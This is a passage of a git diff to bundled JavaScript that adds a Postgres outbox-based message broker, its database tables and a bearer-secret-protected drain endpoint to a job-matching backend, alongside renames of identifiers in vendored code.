pgTable( + "event_deliveries", + { + eventId: uuid("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table) => [ + primaryKey({ columns: [table.eventId, table.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table.consumer, table.nextAttemptAt).where(sql`${table.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table.consumer, table.updatedAt).where(sql`${table.status} = 'dead'`), + check("event_deliveries_status_check", sql`${table.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -78867,9 +78951,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // packages/messaging/src/memory-broker.ts @@ -78947,20 +79036,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? DEFAULT_VISIBILITY_OVERLAP_MS; + this.retentionMs = options.retentionMs ?? DEFAULT_RETENTION_MS; + this.backoffMs = options.backoffMs ?? ((retry) => backoffDelayMs(retry)); + this.onDeadLetter = options.onDeadLetter; + } + async publish(envelope) { + this.assertOpen(); + const event = parseEvent2(envelope); + await this.db.insert(schema_exports.eventOutbox).values({ + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + async subscribe(options) { + this.assertOpen(); + if (this.registrations.has(options.consumer)) { + throw new Error(`Consumer "${options.consumer}" is already subscribed`); + } + if (options.consumer.length === 0 || options.consumer.length > MAX_CONSUMER_LENGTH) { + throw new Error(`Consumer name must be 1-${MAX_CONSUMER_LENGTH} characters`); + } + if (options.eventTypes.length === 0) { + throw new Error(`Consumer "${options.consumer}" must subscribe to at least one event type`); + } + this.registrations.set(options.consumer, options); + return { + consumer: options.consumer, + stop: async () => { + this.registrations.delete(options.consumer); + } + }; + } + /** + * Delivers due events to the handlers registered on this instance: + * registers the consumers, fans new outbox rows out to them, then claims + * and runs deliveries one at a time until `limit` deliveries have been + * attempted, `budgetMs` has elapsed, or nothing is due. Safe to run + * concurrently from any number of instances — a delivery is claimed with + * `FOR UPDATE SKIP LOCKED` and leased, so exactly one drain runs it. + */ + async drain(options = {}) { + this.assertOpen(); + const limit = options.limit ?? DEFAULT_DRAIN_LIMIT; + const budgetMs = options.budgetMs ?? DEFAULT_DRAIN_BUDGET_MS; + const startedAt = performance.now(); + const outOfTime = () => performance.now() - startedAt >= budgetMs; + const result = { processed: 0, failed: 0, dead: 0, purged: 0 }; + const registrations = [...this.registrations.values()]; + if (registrations.length === 0) return result; + const states = await this.registerConsumers(registrations); + for (const registration of registrations) { + if (outOfTime()) break; + const state = states.get(registration.consumer); + if (state !== void 0) await this.fanOut(registration, state, outOfTime); + } + const byName = new Map( + registrations.map((registration) => [registration.consumer, registration]) + ); + const names = [...byName.keys()]; + while (result.processed + result.failed + result.dead < limit && !outOfTime()) { + const claimed = await this.claimNext(names); + if (claimed === null) break; + const registration = byName.get(claimed.consumer); + if (registration === void 0) break; + result[await this.deliver(registration, claimed)] += 1; + } + if (this.retentionMs > 0 && !outOfTime()) { + result.purged = await this.purge(new Date(Date.now() - this.retentionMs)); + } + return result; + } + /** + * Removes outbox events (and, by cascade, their delivery rows) created + * before `olderThan`, in batches. An event is kept while any delivery is + * still `pending` (including a retry that is backing off), while a + * registered consumer subscribed to its type has no delivery for it yet and + * has not been fanned out past it (so it could still be owed the event), + * and — unless `includeDead` — while any delivery is `dead`. Returns the + * number of events removed. + * + * A consumer that is registered but permanently gone keeps its types from + * being purged; remove its `event_consumers` row when decommissioning it. + */ + async purge(olderThan, options = {}) { + this.assertOpen(); + const cutoff = typeof olderThan === "string" ? olderThan : olderThan.toISOString(); + const rows = await this.db.execute(sql` + WITH doomed AS ( + SELECT o.event_id + FROM event_outbox o + WHERE o.created_at < ${cutoff}::timestamptz + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d + WHERE d.event_id = o.event_id + AND (d.status = 'pending' OR (d.status = 'dead' AND NOT ${options.includeDead === true}::boolean)) + ) + AND NOT EXISTS ( + SELECT 1 FROM event_consumers c + WHERE o.event_type = ANY (c.event_types) + AND c.materialized_through <= o.created_at + AND NOT EXISTS ( + SELECT 1 FROM event_deliveries d2 WHERE d2.event_id = o.event_id AND d2.consumer = c.consumer + ) + ) + ORDER BY o.created_at + LIMIT ${options.limit ?? DEFAULT_PURGE_LIMIT} + FOR UPDATE OF o SKIP LOCKED + ) + DELETE FROM event_outbox WHERE event_id IN (SELECT event_id FROM doomed) + RETURNING event_id + `); + return rows.length; + } + isHealthy() { + return !this.closed; + } + async close() { + this.closed = true; + this.registrations.clear(); + } + assertOpen() { + if (this.closed) throw new Error("PostgresBroker is closed"); + } + /** + * Upserts this instance's consumers. A consumer new to the table starts at + * the epoch (so it receives the whole retained history); one that has since + * subscribed to an event type it did not have before is rewound to the epoch + * too, which is harmless for the types it already had because delivery rows + * are unique per (event, consumer). + */ + async registerConsumers(registrations) { + const table = schema_exports.eventConsumers; + const rows = await this.db.insert(table).values( + registrations.map((registration) => ({ + consumer: registration.consumer, + eventTypes: [...registration.eventTypes] + })) + ).onConflictDoUpdate({ + target: table.consumer, + set: { + materializedThrough: sql`CASE WHEN ${table.eventTypes} @> excluded.event_types THEN ${table.materializedThrough} ELSE ${EPOCH}::timestamptz END`, + eventTypes: sql`excluded.event_types` + } + }).returning({ + consumer: table.consumer, + materializedThrough: sql`${table.materializedThrough}::text`, + snapshotAt: sql`now()::text` + }); + return new Map( + rows.map((row) => [ + row.consumer, + { materializedThrough: row.materializedThrough, snapshotAt: row.snapshotAt } + ]) + ); + } + /** + * Creates a `pending` delivery for `registration` for every outbox row of + * its types at or after `state.materializedThrough`, in (created_at, + * event_id) order and in bounded batches, then advances the cursor. + * + * Why the cursor trails the clock. `created_at` is the transaction start, a + * row only becomes visible when it commits, and the scan reads whatever is + * visible now. A row that commits after this scan therefore must not fall + * behind the cursor, or it would never be delivered. A row invisible to a + * statement that ran at time T committed after T, so its `created_at` is + * later than T minus the longest publish transaction. The cursor is held at + * T minus `visibilityOverlapMs` (and never past the last row scanned if the + * pass was cut short), and the overlap window is simply scanned again next + * time; `ON CONFLICT DO NOTHING` makes the repeat free of side effects. + */ + async fanOut(registration, state, outOfTime) { + let afterCreatedAt = state.materializedThrough; + let afterEventId = NIL_UUID; + let lastScannedAt = null; + let complete = false; + while (!outOfTime()) { + const batch = await this.db.execute(sql` + WITH batch AS ( + SELECT event_id, created_at + FROM event_outbox + WHERE event_type IN (${inList(registration.eventTypes)}) + AND (created_at, event_id) > (${afterCreatedAt}::timestamptz, ${afterEventId}::uuid) + ORDER BY created_at, event_id + LIMIT ${FAN_OUT_BATCH} + ), inserted AS ( + INSERT INTO event_deliveries (event_id, consumer, next_attempt_at) + SELECT event_id, ${registration.consumer}::varchar, now() FROM batch + ON CONFLICT (event_id, consumer) DO NOTHING + ) + SELECT event_id, created_at::text AS created_at FROM batch ORDER BY created_at, event_id + `); + const last = batch[batch.length - 1]; + if (last !== void 0) { + afterCreatedAt = last.created_at; + afterEventId = last.event_id; + lastScannedAt = last.created_at; + } + if (batch.length < FAN_OUT_BATCH) { + complete = true; + break; + } + } + const bound = complete ? "infinity" : lastScannedAt ?? state.materializedThrough; + await this.db.execute(sql` + UPDATE event_consumers + SET materialized_through = GREATEST( + materialized_through, + LEAST( + ${state.snapshotAt}::timestamptz - make_interval(secs => ${this.visibilityOverlapMs / 1e3}::double precision), + ${bound}::timestamptz + ) + ), + last_drained_at = now() + WHERE consumer = ${registration.consumer} + `); + } + /** + * Leases the oldest due delivery of any of `consumers`. `SKIP LOCKED` makes + * concurrent claimers pass over each other's rows instead of waiting; the + * lease (`locked_until`) then keeps the row claimed after this statement's + * row lock is gone, while the handler runs outside any transaction. + * `attempts` is bumped here, so a delivery that keeps crashing its drain + * still runs out of retries. + */ + async claimNext(consumers) { + const rows = await this.db.execute(sql` + WITH picked AS ( + SELECT event_id, consumer + FROM event_deliveries + WHERE consumer IN (${inList(consumers)}) + AND status = 'pending' + AND next_attempt_at <= now() + AND (locked_until IS NULL OR locked_until <= now()) + ORDER BY next_attempt_at, created_at + LIMIT 1 + FOR UPDATE SKIP LOCKED + ), claimed AS ( + UPDATE event_deliveries d + SET attempts = d.attempts + 1, + locked_until = now() + make_interval(secs => ${this.leaseMs / 1e3}::double precision), + updated_at = now() + FROM picked + WHERE d.event_id = picked.event_id AND d.consumer = picked.consumer + RETURNING d.event_id, d.consumer, d.attempts + ) + SELECT c.consumer, + c.attempts, + o.event_id, + o.event_type, + to_char(o.occurred_at AT TIME ZONE 'UTC', 'YYYY-MM-DD"T"HH24:MI:SS.MS"Z"') AS occurred_at, + o.trace_id, + o.correlation_id, + o.organization_id, + o.user_id, + o.payload + FROM claimed c + JOIN event_outbox o ON o.event_id = c.event_id + `); + return rows[0] ?? null; + } + async deliver(registration, claimed) { + let envelope; + try { + envelope = parseEvent2({ + event_id: claimed.event_id, + event_type: claimed.event_type, + occurred_at: claimed.occurred_at, + trace: { + trace_id: claimed.trace_id, + correlation_id: claimed.correlation_id, + organization_id: claimed.organization_id, + user_id: claimed.user_id + }, + payload: claimed.payload + }); + } catch (error51) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "dead-lettering unparseable outbox event" + ); + return this.settle(claimed, "dead", `unparseable envelope: ${sanitizeError(error51)}`); + } + if (claimed.attempts - 1 > this.maxRetriesFor(registration)) { + return this.bury( + claimed, + envelope, + "retries exhausted: earlier attempts never reported back (the function timed out or crashed)" + ); + } + try { + if (await this.alreadyProcessed(claimed)) { + return await this.complete(claimed); + } + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + const context2 = { attempt: claimed.attempts - 1, trace: envelope.trace }; + try { + await registration.handler(envelope, context2); + } catch (error51) { + return this.retryOrBury(registration, claimed, envelope, error51); + } + return this.complete(claimed); + } + async alreadyProcessed(claimed) { + const [row] = await this.db.select({ eventId: schema_exports.processedEvents.eventId }).from(schema_exports.processedEvents).where( + and( + eq(schema_exports.processedEvents.eventId, claimed.event_id), + eq(schema_exports.processedEvents.consumer, claimed.consumer) + ) + ).limit(1); + return row !== void 0; + } + /** + * Records success: the `processed_events` row (idempotent — analytics + * writes its own inside its handler, in the same transaction as its side + * effect) and `done`, atomically. The update is fenced on `attempts`, so a + * drain whose lease expired mid-handler cannot overwrite the state written + * by whoever claimed the delivery next. + */ + async complete(claimed) { + try { + const updated = await this.db.transaction(async (tx) => { + await tx.insert(schema_exports.processedEvents).values({ eventId: claimed.event_id, consumer: claimed.consumer }).onConflictDoNothing(); + return tx.update(schema_exports.eventDeliveries).set({ status: "done", lockedUntil: null, lastError: null, updatedAt: sql`now()` }).where(this.fence(claimed)).returning({ eventId: schema_exports.eventDeliveries.eventId }); + }); + if (updated.length === 0) { + this.logger.warn( + { consumer: claimed.consumer, event_id: claimed.event_id }, + "delivery lease expired before completion; another drain owns it now" + ); + } + return "processed"; + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a successful delivery" + ); + return "failed"; + } + } + async retryOrBury(registration, claimed, envelope, error51) { + const retry = claimed.attempts - 1; + const description = sanitizeError(error51); + if (retry < this.maxRetriesFor(registration)) { + return this.settle(claimed, "failed", description, this.backoffMs(retry)); + } + return this.bury(claimed, envelope, description); + } + maxRetriesFor(registration) { + return registration.maxRetries ?? this.defaultMaxRetries; + } + async bury(claimed, envelope, description) { + this.logger.error( + { consumer: claimed.consumer, event_id: claimed.event_id, attempts: claimed.attempts }, + "dead-lettering event after exhausting retries" + ); + const outcome = await this.settle(claimed, "dead", description); + try { + this.onDeadLetter?.({ + envelope, + consumer: claimed.consumer, + attempts: claimed.attempts, + error: description, + deadLetteredAt: (/* @__PURE__ */ new Date()).toISOString() + }); + } catch (callbackError) { + this.logger.error({ err: callbackError }, "onDeadLetter callback threw"); + } + return outcome; + } + /** Writes a failure: back to `pending` after `delayMs`, or `dead`. */ + async settle(claimed, outcome, description, delayMs = 0) { + try { + await this.db.update(schema_exports.eventDeliveries).set({ + status: outcome === "dead" ? "dead" : "pending", + lastError: description, + lockedUntil: null, + nextAttemptAt: sql`now() + make_interval(secs => ${delayMs / 1e3}::double precision)`, + updatedAt: sql`now()` + }).where(this.fence(claimed)); + } catch (error51) { + this.logger.error( + { err: error51, consumer: claimed.consumer, event_id: claimed.event_id }, + "failed to record a failed delivery" + ); + } + return outcome; + } + fence(claimed) { + return and( + eq(schema_exports.eventDeliveries.eventId, claimed.event_id), + eq(schema_exports.eventDeliveries.consumer, claimed.consumer), + eq(schema_exports.eventDeliveries.attempts, claimed.attempts), + eq(schema_exports.eventDeliveries.status, "pending") + ); + } +}; + // packages/messaging/src/rabbitmq-broker.ts var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts -function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString()) { +function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { - event_id: newUuid(), + event_id: eventId, event_type: eventType, occurred_at: occurredAt, trace: trace2, payload }; } +var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); function routingKeyFor(eventType) { return eventType; } @@ -79105,11 +79645,39 @@ var RabbitMqBroker = class { } }; +// packages/messaging/src/broker.ts +function isDrainableBroker(broker2) { + return typeof broker2.drain === "function"; +} + +// packages/messaging/src/drain-auth.ts +import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +function digest(value) { + return createHash2("sha256").update(value, "utf8").digest(); +} +function isAuthorizedDrainRequest(authorization, secret) { + if (secret === "") return false; + const match = /^Bearer\s+(\S+)\s*$/i.exec(authorization ?? ""); + const presented = match?.[1] ?? ""; + const equal = timingSafeEqual2(digest(presented), digest(secret)); + return equal && match !== null; +} + // packages/messaging/src/index.ts function createBroker(options) { if (options.driver === "memory") { return new MemoryBroker({ defaultMaxRetries: options.maxRetries ?? 3 }); } + if (options.driver === "postgres") { + if (options.db === void 0) { + throw new Error("A database handle is required when MESSAGING_DRIVER=postgres"); + } + return new PostgresBroker({ + db: options.db, + logger: options.logger, + ...options.maxRetries === void 0 ? {} : { defaultMaxRetries: options.maxRetries } + }); + } if (options.url === void 0 || options.url === "") { throw new Error("RABBITMQ_URL is required when MESSAGING_DRIVER=rabbitmq"); } @@ -79141,7 +79709,7 @@ var redisEnvSchema = external_exports.object({ REDIS_URL: external_exports.string().min(1).default("redis://localhost:6379") }); var messagingEnvSchema = external_exports.object({ - MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq"]).default("memory"), + MESSAGING_DRIVER: external_exports.enum(["memory", "rabbitmq", "postgres"]).default("memory"), RABBITMQ_URL: external_exports.string().min(1).optional(), MESSAGING_EXCHANGE: external_exports.string().min(1).default("atlas.events"), MESSAGING_MAX_RETRIES: external_exports.coerce.number().int().min(0).max(20).default(5) @@ -79237,6 +79805,43 @@ function metricsRoute(app2, metrics2) { }); } +// services/matching/src/http/routes/drain.ts +var DEFAULT_BUDGET_MS = 2e4; +var MAX_BUDGET_MS = 25e3; +var DRAIN_PATHS = ["/internal/drain", "/internal/matching/drain"]; +var drainQuerySchema = external_exports.object({ + limit: external_exports.coerce.number().int().min(1).max(1e3).optional(), + budget_ms: external_exports.coerce.number().int().min(100).max(MAX_BUDGET_MS).optional() +}); +function drainRoute(app2, deps) { + const handle = async (request, reply) => { + const secret = deps.env.CRON_SECRET; + if (secret === void 0) { + throw new AppError("UPSTREAM_UNAVAILABLE", "Event draining is not configured"); + } + if (!isAuthorizedDrainRequest(request.headers.authorization, secret)) { + reply.header("www-authenticate", "Bearer"); + throw new AppError("UNAUTHENTICATED", "Missing or invalid drain credentials"); + } + if (!isDrainableBroker(deps.broker)) { + throw new AppError("CONFLICT", "The configured messaging driver has nothing to drain"); + } + const query = drainQuerySchema.parse(request.query); + const startedAt = Date.now(); + const result = await deps.broker.drain({ + budgetMs: query.budget_ms ?? DEFAULT_BUDGET_MS, + limit: query.limit + }); + const durationMs = Date.now() - startedAt; + request.log.info({ ...result, duration_ms: durationMs }, "drained queued events"); + reply.status(200).send({ ...result, duration_ms: durationMs }); + }; + for (const path of DRAIN_PATHS) { + app2.get(path, handle); + app2.post(path, handle); + } +} + // services/matching/src/http/routes/health.ts function healthRoute(app2, deps) { app2.get("/health", async (_request, reply) => { @@ -79314,6 +79919,7 @@ function buildApp(deps) { }); healthRoute(app2, deps); metricsRoute(app2, metrics2); + drainRoute(app2, deps); return app2; } @@ -79322,7 +79928,13 @@ var matchingServiceEnvSchema = external_exports.object({ ...baseEnvSchema.shape, ...databaseEnvSchema.shape, ...httpEnvSchema.shape, - ...messagingEnvSchema.shape + ...messagingEnvSchema.shape, + /** + * Bearer secret for `/internal/drain`, which Vercel Cron sends as + * `Authorization: Bearer $CRON_SECRET` when this variable is set. Unset, the + * route answers 503 and never runs a drain. + */ + CRON_SECRET: external_exports.string().min(16, "CRON_SECRET must be at least 16 characters").optional() }); function loadMatchingServiceEnv(source = process.env) { const normalized = { ...source, PORT: source.PORT ?? source.MATCHING_SERVICE_PORT }; @@ -79495,6 +80107,7 @@ var broker = createBroker({ url: env.RABBITMQ_URL, exchange: env.MESSAGING_EXCHANGE, maxRetries: env.MESSAGING_MAX_RETRIES, + db, logger }); var app = buildApp({ db, sql: sql2, env, logger, broker }); diff --git a/api/outreach/index.js b/api/outreach/index.js index fa05c26..ab7613e 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -1954,7 +1954,7 @@ var require_wait = __commonJS({ var WAIT_MS = 1e4; function wait(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current === expected) { done(null, "ok"); @@ -1967,16 +1967,16 @@ var require_wait = __commonJS({ const remaining = max === Infinity ? WAIT_MS : Math.min(WAIT_MS, Math.max(1, max - Date.now())); const result = Atomics.waitAsync(state, index2, current, remaining); if (result.async) { - result.value.then(check2); + result.value.then(check3); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } function waitDiff(state, index2, expected, timeout, done) { const max = timeout === Infinity ? Infinity : Date.now() + timeout; - const check2 = () => { + const check3 = () => { const current = Atomics.load(state, index2); if (current !== expected) { done(null, "ok"); @@ -1994,13 +1994,13 @@ var require_wait = __commonJS({ done(null, "ok"); return; } - check2(); + check3(); }); } else { - setImmediate(check2); + setImmediate(check3); } }; - check2(); + check3(); } module.exports = { wait, waitDiff }; } @@ -10447,8 +10447,8 @@ var require_heartbeat = __commonJS({ clearInterval(this.sendTimer); clearInterval(this.recvTimer); } - runHeartbeat(check2, fail) { - if (!check2()) + runHeartbeat(check3, fail) { + if (!check3()) fail(); } }; @@ -11047,14 +11047,14 @@ var require_connection = __commonJS({ recv(); } checkSend() { - var check2 = this.sentSinceLastCheck; + var check3 = this.sentSinceLastCheck; this.sentSinceLastCheck = false; - return check2; + return check3; } checkRecv() { - var check2 = this.recvSinceLastCheck; + var check3 = this.recvSinceLastCheck; this.recvSinceLastCheck = false; - return check2; + return check3; } sendBytes(bytes) { this.sentSinceLastCheck = true; @@ -17179,13 +17179,13 @@ var require_plugin = __commonJS({ done(); return; } - const check2 = () => { + const check3 = () => { debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); if (this.queue.length() === 0 && this.queue.running() === 0) { if (this._promise) { const wrap = () => { debug("wrap"); - queueMicrotask(check2); + queueMicrotask(check3); }; this._promise.resolve(); this._promise.promise.then(wrap, wrap); @@ -17198,11 +17198,11 @@ var require_plugin = __commonJS({ this.queue.drain = () => { debug("drain", this.name); this.queue.drain = noop3; - queueMicrotask(check2); + queueMicrotask(check3); }; } }; - queueMicrotask(check2); + queueMicrotask(check3); this.queue.resume(); }; function noop3() { @@ -53984,9 +53984,14 @@ function createVercelHandler(app2) { }; } var SERVERLESS_PLACEHOLDER_PORT = "3000"; +var SERVERLESS_DEFAULT_MESSAGING_DRIVER = "postgres"; function withServerlessEnvDefaults(source = process.env) { if (!source.VERCEL) return source; - return { ...source, PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT }; + return { + ...source, + PORT: source.PORT ?? SERVERLESS_PLACEHOLDER_PORT, + MESSAGING_DRIVER: source.MESSAGING_DRIVER ?? SERVERLESS_DEFAULT_MESSAGING_DRIVER + }; } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/buffer_utils.js @@ -67514,8 +67519,8 @@ var ZodType = /* @__PURE__ */ $constructor("ZodType", (inst, def) => { reg.add(this, meta3); return this; }, - refine(check2, params) { - return this.check(refine(check2, params)); + refine(check3, params) { + return this.check(refine(check3, params)); }, superRefine(refinement, params) { return this.check(superRefine(refinement, params)); @@ -75081,6 +75086,33 @@ var pgTable = (name, columns, extraConfig) => { return pgTableWithSchema(name, columns, extraConfig, void 0); }; +// node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/checks.js +var CheckBuilder = class { + constructor(name, value) { + this.name = name; + this.value = value; + } + static [entityKind] = "PgCheckBuilder"; + brand; + /** @internal */ + build(table2) { + return new Check(table2, this); + } +}; +var Check = class { + constructor(table2, builder) { + this.table = table2; + this.name = builder.name; + this.value = builder.value; + } + static [entityKind] = "PgCheck"; + name; + value; +}; +function check2(name, value) { + return new CheckBuilder(name, value); +} + // node_modules/.pnpm/drizzle-orm@0.45.2_@opentelemetry+api@1.9.1_postgres@3.4.9/node_modules/drizzle-orm/pg-core/indexes.js var IndexBuilderOn = class { constructor(unique, name) { @@ -79177,6 +79209,9 @@ __export(schema_exports, { contacts: () => contacts, contactsRelations: () => contactsRelations, employmentTypeEnum: () => employmentTypeEnum, + eventConsumers: () => eventConsumers, + eventDeliveries: () => eventDeliveries, + eventOutbox: () => eventOutbox, idempotencyKeys: () => idempotencyKeys, jobScores: () => jobScores, jobSourceEnum: () => jobSourceEnum, @@ -79631,6 +79666,60 @@ var processedEvents = pgTable( index("processed_events_processed_at_idx").on(table2.processedAt) ] ); +var eventOutbox = pgTable( + "event_outbox", + { + eventId: uuid3("event_id").primaryKey(), + eventType: varchar("event_type", { length: 120 }).notNull(), + occurredAt: timestamp("occurred_at", { withTimezone: true, mode: "string" }).notNull(), + // The envelope's trace context, flattened so "what happened to trace X" is + // a plain indexed query. No FKs: the outbox must never block a user or + // organization deletion. + traceId: varchar("trace_id", { length: 100 }).notNull(), + correlationId: varchar("correlation_id", { length: 100 }).notNull(), + organizationId: uuid3("organization_id"), + userId: uuid3("user_id"), + payload: jsonb("payload").$type().notNull(), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + // Drain cursor order (created_at, event_id), also the purge scan. + index("event_outbox_created_idx").on(table2.createdAt, table2.eventId), + // Fan-out for consumers that subscribe to a few of the event types. + index("event_outbox_type_created_idx").on(table2.eventType, table2.createdAt, table2.eventId), + index("event_outbox_trace_idx").on(table2.traceId) + ] +); +var eventConsumers = pgTable("event_consumers", { + consumer: varchar("consumer", { length: 160 }).primaryKey(), + eventTypes: text("event_types").array().notNull(), + materializedThrough: timestamp("materialized_through", { withTimezone: true, mode: "string" }).notNull().default(sql`'1970-01-01T00:00:00Z'`), + lastDrainedAt: timestamp("last_drained_at", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() +}); +var eventDeliveries = pgTable( + "event_deliveries", + { + eventId: uuid3("event_id").notNull().references(() => eventOutbox.eventId, { onDelete: "cascade" }), + consumer: varchar("consumer", { length: 160 }).notNull(), + status: varchar("status", { length: 16 }).notNull().default("pending"), + attempts: integer2("attempts").notNull().default(0), + /** Sanitized and truncated by the broker — never a raw driver message. */ + lastError: text("last_error"), + nextAttemptAt: timestamp("next_attempt_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + lockedUntil: timestamp("locked_until", { withTimezone: true, mode: "string" }), + createdAt: timestamp("created_at", { withTimezone: true, mode: "string" }).notNull().defaultNow(), + updatedAt: timestamp("updated_at", { withTimezone: true, mode: "string" }).notNull().defaultNow() + }, + (table2) => [ + primaryKey({ columns: [table2.eventId, table2.consumer] }), + // The claim query: due pending work for a consumer, oldest first. Partial, + // so the (large, append-only) done history never bloats the hot path. + index("event_deliveries_claim_idx").on(table2.consumer, table2.nextAttemptAt).where(sql`${table2.status} = 'pending'`), + index("event_deliveries_dead_idx").on(table2.consumer, table2.updatedAt).where(sql`${table2.status} = 'dead'`), + check2("event_deliveries_status_check", sql`${table2.status} IN ('pending', 'done', 'dead')`) + ] +); var connectorAccounts = pgTable( "connector_accounts", { @@ -79783,20 +79872,471 @@ var MemoryBroker = class { } }; +// packages/messaging/src/postgres-broker.ts +var EPOCH = "1970-01-01T00:00:00Z"; +var NIL_UUID = "00000000-0000-0000-0000-000000000000"; +var DEFAULT_MAX_RETRIES = 5; +var DEFAULT_LEASE_MS = 9e4; +var DEFAULT_VISIBILITY_OVERLAP_MS = 6e4; +var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; +var DEFAULT_DRAIN_LIMIT = 100; +var DEFAULT_DRAIN_BUDGET_MS = 2e4; +var FAN_OUT_BATCH = 500; +var DEFAULT_PURGE_LIMIT = 500; +var MAX_ERROR_LENGTH = 300; +var MAX_CONSUMER_LENGTH = 160; +function inList(values2) { + return sql.join( + values2.map((value) => sql`${value}`), + sql`, ` + ); +} +function sanitizeError(error51) { + let described; + if (error51 instanceof Error) { + const inner = error51.message.startsWith("Failed query") && error51.cause instanceof Error ? error51.cause : error51; + described = `${inner.name}: ${inner.message}`; + } else { + described = String(error51); + } + return (described.split("\n")[0] ?? "").replace(/[a-z][a-z0-9+.-]*:\/\/[^\s/@]+@\S+/gi, "[url]").replace(/\beyJ[\w-]+\.[\w-]+\.[\w-]*/g, "[token]").replace(/[\w.+-]+@[\w-]+(?:\.[\w-]+)+/g, "[email]").replace(/[\u0000-\u001f\u007f]/g, " ").trim().slice(0, MAX_ERROR_LENGTH); +} +var PostgresBroker = class { + db; + logger; + defaultMaxRetries; + leaseMs; + visibilityOverlapMs; + retentionMs; + backoffMs; + onDeadLetter; + registrations = /* @__PURE__ */ new Map(); + closed = false; + constructor(options) { + this.db = options.db; + this.logger = options.logger; + this.defaultMaxRetries = options.defaultMaxRetries ?? DEFAULT_MAX_RETRIES; + this.leaseMs = options.leaseMs ?? DEFAULT_LEASE_MS; + this.visibilityOverlapMs = options.visibilityOverlapMs ?? 